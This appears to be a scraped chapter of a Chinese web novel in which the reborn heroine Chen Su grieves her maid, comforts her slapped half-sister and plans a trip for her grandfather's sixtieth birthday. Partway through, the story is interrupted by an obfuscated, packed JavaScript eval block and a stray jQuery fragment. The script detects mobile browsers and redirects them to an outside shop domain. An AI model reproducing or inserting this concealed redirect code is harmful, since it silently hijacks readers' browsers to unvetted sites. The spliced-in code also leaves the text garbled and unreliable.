7. 寿辰
    院内的雪还未化,夜空中洒落的月光照于雪上,映得院内十分亮堂。

    陈远道本只是想远远地看一看陈素,待到她屋内的烛火熄灭后他再离开芳芸苑。

    当那一直紧闭的房门被推开时,陈远道怔愣一瞬,搭于身前的手倏地握紧。

    院内的烛火已经灭了,可陈远道还是瞧见了那双双眼通红的陈素。

    瞧见她这副模样的陈远道欲上前去扶住近些日子受尽委屈的陈素,可却在对上她那双眼眸的那一瞬,收回了那双即将向前踏去的脚。

    陈素推开门,如往常般恭敬地唤了眼前人一声父亲,强忍着心中的委屈与痛楚,缓步行至他的跟前。

    仰头瞧向他时,那原本在眼眶中打转的泪水不由得向下滑落,良久才颤着嗓音张口唤道:“父亲,袭白死了。”

    袭白是陈远道亲自送到她院中的,是亲身伺候她的丫鬟,更是她自小的玩伴。

    自小的玩伴死了,陈素自然是要伤心难过一番的。

    只是,她的那滴泪哭的并不是袭白,而是那个只会处处对镜自言的陈素。

    望着陈远道的陈素阖上双眸,深吸一口气,心中不断地唤着那个常常与她分享心事的陈素。

    她若是还在该多好。

    她若是瞧见这已然改变的开局该多好,她若可以接受这场新的开局,她若是选择留下来去走新的人生该多好。

    她本可以亲手改变这荒唐的一生,可她再也无法出现了,而她也永远唤不到她了。

    夜里寒风四起,陈远道扶着身形摇晃的陈素重新回到房间。

    他瞧着眼前因袭白死去而伤心难过的陈素,心脏如同针扎一般。

    若是他没有将袭白关于柴房,她会不会便不会逃跑,沦为乞丐,更不会被人当街射杀,他的昭珩也不会因她而伤心难过了。

    可想再多已是无用。

    她已经死了,所有的事情都没有转圜的余地了。

    待陈素睡下之后,陈远道才离开芳芸苑。

    回到玉林苑中时,梅漱玉一直站于门前等他。

    她面上虽带着笑,可那笑却如鬼哭般难看。

    梅漱玉如同往日一般行至陈远道身前,替他宽衣解带。

    陈远道拦住她的动作,半晌后转身去了书房。

    瞧着陈远道离去的身影,梅漱玉脸上的笑容瞬间散去,恨不得下一刻便冲去芳芸苑将陈素杀了。

    她好后悔,后悔没有除掉陈素。

    如今陈远道防着她,不愿她再接近陈素,她若再想要下手已万分困难。

    陈远道的身影彻底于门外消失之后,梅漱玉才令欣兰关上房门,转身去休息。

    于陈府中她不好对陈素下手,但她可以将陈素支出去。

    不过近些日子陈素所遇祸事过多,陈远道多半不会再令陈素踏出府门半步,梅漱玉必须想个法子,令陈素不得不出去。

    思来想去,梅漱玉倏然想到了陈素那早已致仕的外祖父云骞。

    “欣兰,云丞相的寿辰是否要到了?”梅漱玉坐于榻上,抬手轻轻揉着太阳穴。

    欣兰替梅漱玉放下床帘,细细思索着,片刻后才回道:“大概还有半月。”

    “明日去为云丞相挑份寿礼,”梅漱玉褪下衣衫,躺于榻上,吩咐完才打着哈欠阖上了双眸,“顺便将这件事放出消息去,尤其是芳芸苑那边。”

    听着梅漱玉这番话,欣兰眼睛一转,立即明白了梅漱玉此番话的意思,应下后便立即退了下去。

    翌日府中又恢复了往日热闹的气氛,陈二姑娘同大公子今日休沐,未曾去学堂,梅漱玉令人准备了一桌好菜,为她的两个孩子补身体。

    二姑娘陈秀盈年岁不高,但身材却较梅漱玉还圆润一些,但生得可爱。

    大公子陈敬行不似陈秀盈那般贪嘴,自然不像陈秀盈那般圆润,但多少还是较同龄人要壮实一些。

    “母亲,”用过午膳,陈秀盈才放下手中的碗筷,疑惑地偏头瞧向身侧的梅漱玉,“近些日子怎的没见袭白姐姐?”

    梅漱玉闻声倏地沉下眼帘,忆起昨日陈远道回府后所言,下意识地同陈秀盈撒了谎,“她啊?回家去了。”

    “母亲,您骗人!”陈秀盈倏地拧紧眉头,看向梅漱玉的神情严肃,“昨日女儿于学堂之时都听说了,袭白姐姐被人当街射杀,尸体已经被监察司的人带走了!”

    “你听谁说的这些!”闻言,梅漱玉下意识地瞥了眼身侧伺候的欣兰,欣兰立即领命将陈敬行带着退了下去。

    陈秀盈嘟囔道:“李家的三公子李年。”

    “李家那个庶子?”梅漱玉闻言立即冷下脸来,“母亲不是同你说不要同这种卑贱之人所生的孩子相处吗?他们那群卑贱之人说的话也无须听,口中并无实话。”

    “母亲,您这话便说得不对了,”陈秀盈见梅漱玉又在诋毁李年,这心中的怒意瞬间涌上心头,“学堂之中夫子常教导我们,人虽有高低贵贱之分,但都是人,做人最重要的就是不可随意轻视和诋毁他人!”

    “如今你诋毁李年,就如同当年诋毁长姐一般!”

    “女儿自幼便听您诋毁长姐,也曾对长姐多般陷害,出言诋毁……”陈秀盈心中憋着一口气,猩红着眼睛瞪向身侧的梅漱玉,“您自幼便同我与敬行讲,是长姐不愿亲近我们,故而疏远我们,可我瞧到的却是长姐一直被困于那个小院子中。”

    “我们与长姐第一次出行便遇刺,是长姐挺身而出护于我们身前,若没有长姐,您怕是再也瞧不见我与敬行了。”

    “可您却在我们回府之后,不由分说地将表姐关进了柴房,更是禁足于芳芸苑中。”

    “长姐落水之后,您又不愿我们去瞧长姐。您明知那威远将军府的长子代卿并非良配,但您仍旧谋划着如何将长姐嫁进威远将军府。”

    “您这般诋毁长姐,您究竟是在害怕什么?您是……”

    陈秀盈后面的话还未说完,梅漱玉倏地向着陈秀盈的脸上甩了一巴掌,怒骂道:“不许你再于我跟前提你长姐!”

    突然被扇了一记耳光的陈秀盈疼得失神片刻,良久才悠悠抬眸瞧向眼前这名陌生的母亲,“母亲。”

    陈秀盈瞧着她倏地笑了声,泪水不自觉地由脸颊滑落,“原来……都是你的嫉妒心罢了。”

    她限制她的交际,无非就是觉得她那不堪的交际污了她的名声。

    她限制她探望她的长姐,无非就是因为她那些可怜的嫉妒心罢了。

    “你!”

    梅漱玉瞧着眼前处处同她针对的陈秀盈显得气得喘不过气来,良久才吐出一句,“滚!”

    “滚啊!”梅漱玉见陈秀盈还没有动作,不由得又向着她张口吼了一句,“给我滚!”

    瞧着眼前这近乎癫狂的母亲,陈秀盈不禁失笑,转而离开了玉林苑前堂。

    离开玉林苑后,陈秀盈偷偷跑去了芳芸苑。

    陈秀盈幼时常欺辱陈素。

    自上次出行被陈素护于身下后,陈秀盈便转变了对陈素的态度,可却因着对母亲梅漱玉的恐惧而不敢亲近陈素,每次偷偷跑至芳芸苑时,她都只是远远地瞧上一眼,便转身离开了芳芸苑。

    这次她依旧同往常一般来到了芳芸苑,依旧只是想着远远地瞧上一眼。

    陈远道还未寻到合适的丫鬟送往芳芸苑伺候,如今孙婆子便于陈老太太院中与芳芸苑两头跑着。

    孙婆子刚于芳芸苑的小厨房内取了药膳,一偏头便瞧见了那立于门外悄悄探头的陈二姑娘陈秀盈。

    她只是淡淡地偏头瞧了她一眼,随即便端着药膳入了房内。

    待孙婆子将药膳摆好后,陈素才入座。

    孙婆子将来时瞧见陈二姑娘于房门外站着的事情告知陈素。

    陈素舀汤的动作一顿,片刻后才张口道:“将她请进来吧。”

    孙婆子领了命,退出房内。

    刚踏入门外,陈二姑娘便躲了过去。

    孙婆子知道陈二姑娘还在,她清了清嗓子,“二姑娘,大姑娘请你进门喝杯茶。”

    “外面天冷,别冻着了,随老奴进屋吧,”孙婆子知道陈秀盈是因关心陈素才来的芳芸苑,她转身踏入院内,“到时候您受了风寒,受罪的还是大姑娘。”

    听见这席话,原本躲在一处的陈秀盈探出了头,老老实实地跟着孙婆子进了芳芸苑。

    孙婆子一回眸便瞧见了陈秀盈脸上的掌印,眉心微蹙,“二姑娘,您这脸……”

    陈秀盈闻言瞬间捂上了那被扇了半巴掌的脸,拙劣地撒谎道:“早上觉得这半张脸被什么东西蜇了,便自己扇了一巴掌。”

    孙婆子怎会瞧不出她那半张脸是怎么回事,她只叹了口气,随后将陈秀盈带进了房内。

    待陈秀盈进入后,孙婆子关上房门,转而去了小厨房。

    再度瞧见陈秀盈的陈素心中涌上一股难以言喻的情感。

    上一世陈秀盈于她母亲的教导下没少欺辱陈素,陈素以为陈秀盈同陈敬行都不喜她,没想到当她踏上那嫁给代卿的花轿之时,最舍不得让她走的人却是陈秀盈。

    陈素嫁入威远将军府后,陈秀盈常找理由来往,那时的她以为她心悦代卿,就连代卿也是这般认为。

    直至在一次代卿意图对陈秀盈图谋不轨时,陈秀盈抄起花盆便砸向了代卿的头。

    瞧见这一幕的陈素怔愣片刻,她没有立即上前检查代卿的情况,而是立即上前关心陈秀盈有没有事,有没有受伤。

    陈秀盈哭着摇头,良久才唤了一声“长姐”。

    她说:“对不起。”

    她在替她幼时所做之事而道歉。

    陈素早已经不怪她了,她连忙将陈秀盈送出府,并告知她,千万不要将此事告知于任何人,并咬死她今日从未见过代卿。

    “长姐……”

    陈秀盈瞧着处处为她做打算的陈素不禁再度红了眼眸。

    陈素只将她塞进马车内,嘱咐马夫立即带她离开,并告知她往后莫要再来威远将军府。

    也是那一刻,陈素才得知,原来她多次往来威远将军府,是想为她撑腰,告诉代卿,她的长姐背后并不是空无一人。

    那是陈素嫁入威远将军府后,感受到的第一抹柔情。

    无论是之前的陈素还是现在的陈素,她都不会再怨恨陈秀盈。

    “她打你了?”

    瞧见陈秀盈那半边掌印的陈素倏地皱紧眉头。

    陈秀盈正欲摇头说“没有”,但泪水却不受控制地从眼角滑落,抽抽搭搭地哭泣出声。

    “秀盈,”陈素伸手拂去陈秀盈的脸上的泪水,她不会安慰人,但知晓女人最是爱美,“别哭了,哭多了的话,可就不漂亮了。”

    “长姐,我这样很丑吗?”陈素的这句话虽不中听,但很实用。

    “丑,”陈素点头,“哭得真丑,还是笑着好看。”

    但才刚受过委屈的人,她怎么能强迫她笑呢?

    她这院中也没有什么可以给她消肿的东西,也没有可以遮蔽伤口的药膏……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711803|144590||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    仔细看看,她还真是贫穷。

    半晌后,孙婆子端着一碗煮熟的鸡蛋进入屋内,放至桌上。

    瞧见这鸡蛋的陈素怔愣片刻,抬眸对上孙婆子的目光后,瞬间明白了孙婆子的意思。

    她朝着孙婆子点了点头,随即拿起一枚鸡蛋,剥了壳,轻轻地揉上陈秀盈的脸。

    “疼吗?”陈素柔声问。

    陈秀盈摇摇头,只抬眸望着眼前温柔似水的长姐。

    明明她的长姐这般好,为什么母亲却要她与弟弟远离长姐呢?

    陈秀盈疑惑不解。

    鸡蛋消肿只能暂时减轻陈秀盈脸上巴掌的印记,但是不能完全消除。

    陈素心疼地瞧着眼前的陈秀盈,将剥了壳的鸡蛋放置一侧,细细地打量着眼前的陈秀盈。

    仔细瞧瞧陈秀盈出落地也确实出息,怪不得代卿会忍不住对陈秀盈动手。

    瞧着此时的陈秀盈,陈素的脑海中不由得想起曾经的她被醒来后的代卿凌辱的画面。

    如同家妓。

    可怜、可悲。

    陈秀盈于陈素的院中逗留了许久才离去,离开前,她依依不舍地瞧着陈素。

    不知是否是她的错觉,她总觉得,她看她的眼神,像是见她的最后一面。

    待陈秀盈离开后,孙婆子带着宁城的信快步走进了屋内。

    “大姑娘,是宁城云府的信。”

    听到“宁城云府”这几个字眼的陈素迅速放下了手中的茶杯,迅速接过孙婆子寄来的信。

    上一世陈素落水恢复后不久便嫁入了威远将军府,她的外祖父云骞在前往参加婚宴的途中遇袭惨死,尸骨无存。

    如今她并未嫁入云府,这所有的一切是否便可以改变了?

    陈素一字一句地读着信中的话语,云骞还是如同往年一般问她过得怎样,有没有想她,想不想于宁城小住一段时间。

    瞧着信中的字样,陈素不由得再度湿了眼眶。

    这一次的落泪于她而言不再是伪装,而是那真切地,属于心底的情绪。

    感受到这股情绪的陈素下意识地抬手抚上心口,温声询问:“你想去吗?”

    询问的话语刚落,心脏顿时剧烈地跳动起来,她在同她讲,她想去。

    “好,那我们便去。”

    陈素盘算着日子,赶到宁城后不久恰巧是她外祖父的六十大寿,她可以在那里住很长很长的时间。

    阖上信件后,陈素并没有立即写回信,而是转而询问孙婆子,“父亲可回来了?”

    孙婆子道:“老爷今晚估计会晚些。”

    陈素点点头,转而将这封信收入了化妆匣内。

    那化妆匣内的信件都是她一封封收好的,她将这一封也放了进去,心里期待着她有朝一日能够回来……回来瞧一瞧这已被改变的世界。

    陈素并未等到陈远道回府,她早早地歇息下了,等着第二日亲自去寻一趟陈远道。

    天刚蒙蒙亮陈素便换好了衣衫,整理好发髻之后去正堂寻陈远道。

    陈远道刚用完膳食准备出府,见陈素匆匆忙忙地赶了过来,下意识地停下了脚步。

    “昭珩。”

    这是陈素这么多年以来第一次亲自来寻他,陈远道的心中不由得涌上一股暖意。

    寻到陈远道的陈素恭敬地向陈远道行礼,柔声唤了眼前人一声“父亲”。

    陈远道应声,见陈素的眼眸中亮着为难的目光,片刻后主动张口问她,“你可是有事要同我说?”

    “女儿……”陈素垂下眼帘,咬着唇,片刻后才继续道:“想去宁城为外祖父庆祝生辰,女儿已经许久未曾见过外祖父了,女儿很想他。”

    闻言,陈远道的眼眸中闪过片刻失落。

    自云锦去世之后,陈远道与他这位丈人便减少了来往,二人之间唯一的联系便只剩下了这个女儿。

    仔细想想,他这位丈人今年应当六十岁了。

    六十大寿,应当备一份厚礼才是。

    只是他近日朝中事务繁忙,恐脱不开身,若不然他还能亲自陪同陈素走一趟。

    自那日袭白于望都城内被贼人当街射杀之后,城中百姓惶恐不安,恐是前朝乱党复苏。

    这段时日陈素总是能招惹上这些祸事,陈远道不放心她一人前去。

    “容为父考虑考虑。”陈远道抬手拍了拍陈素的肩头,良久才道:“你外祖父六十大寿确实应当前去,贺寿礼这边为父会帮你准备好,但怎么去,如何去,仍需为父要仔细想想,好安排妥当。”

    陈素明白陈远道心中的顾虑,只朝着他点点头,轻声“嗯”了声,随即将陈远道送出了府门。

    待陈远道的车马离开府门后,陈素才转身回向府内,一抬眸便瞧见了那同样准备出远门的梅漱玉。

    梅漱玉怎样都是她名义上的母亲,瞧见梅漱玉的陈素温声唤了一声“母亲”,随即转身踏入了府内。

    回府以后,陈素开始收拾衣裳,可她的衣裳多为女子样式,出行总是不方便。

    思酌良久,陈素唤来孙婆子,将攒下的银两递于孙婆子,求她帮忙置办两身男子样式的衣衫。

    孙婆子奇怪地瞧着陈素,正欲张口问她置办这些作甚。

    “扮成男子模样出城,行动总归方便一些。”陈素叹息一声,瞧着孙婆子的眼神带着些许委屈,“到时候到了宁城好给外祖父一份惊喜,毕竟我们已经许多年没见了……我想让他悄悄我恣意潇洒的样子,而并非如今这般苦大仇深。”